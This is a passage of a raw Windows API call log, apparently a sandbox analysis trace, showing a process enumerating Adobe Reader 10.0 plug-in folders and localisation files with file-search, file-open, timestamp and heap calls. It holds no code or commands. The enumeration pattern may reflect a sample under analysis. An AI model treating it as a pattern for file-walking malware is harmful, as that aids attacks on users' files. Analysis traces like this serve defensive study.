dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0083.414] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0083.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0fc8 [0083.414] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0fc8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0fc8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0083.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0fc8) returned 1 [0083.415] NtClose (Handle=0x168) returned 0x0 [0083.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2970) returned 1 [0083.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2970 [0083.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2a78 [0083.416] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0083.418] GetLastError () returned 0x12 [0083.418] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0083.418] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.418] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0083.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2b80 [0083.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0083.420] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0fc8 [0083.420] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0fc8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0fc8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0fc8) returned 1 [0083.420] NtClose (Handle=0x168) returned 0x0 [0083.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.421] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.421] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0083.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ea0 [0083.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.426] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHS", cAlternateFileName="")) returned 1 [0083.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ec0 [0083.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CHT", cAlternateFileName="")) returned 1 [0083.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ee0 [0083.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.429] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DAN", cAlternateFileName="")) returned 1 [0083.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215f00 [0083.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab4a8 [0083.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.431] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DEU", cAlternateFileName="")) returned 1 [0083.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215f20 [0083.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab5b0 [0083.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.432] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ESP", cAlternateFileName="")) returned 1 [0083.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215f40 [0083.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab6b8 [0083.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.434] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.EUQ", cAlternateFileName="")) returned 1 [0083.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.434] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.434] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.435] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215f60 [0083.435] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab7c0 [0083.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.436] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.FRA", cAlternateFileName="")) returned 1 [0083.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.436] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.436] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215f80 [0083.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab8c8 [0083.437] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.437] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ITA", cAlternateFileName="")) returned 1 [0083.437] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.438] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215fa0 [0083.438] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12ab9d0 [0083.439] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.439] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 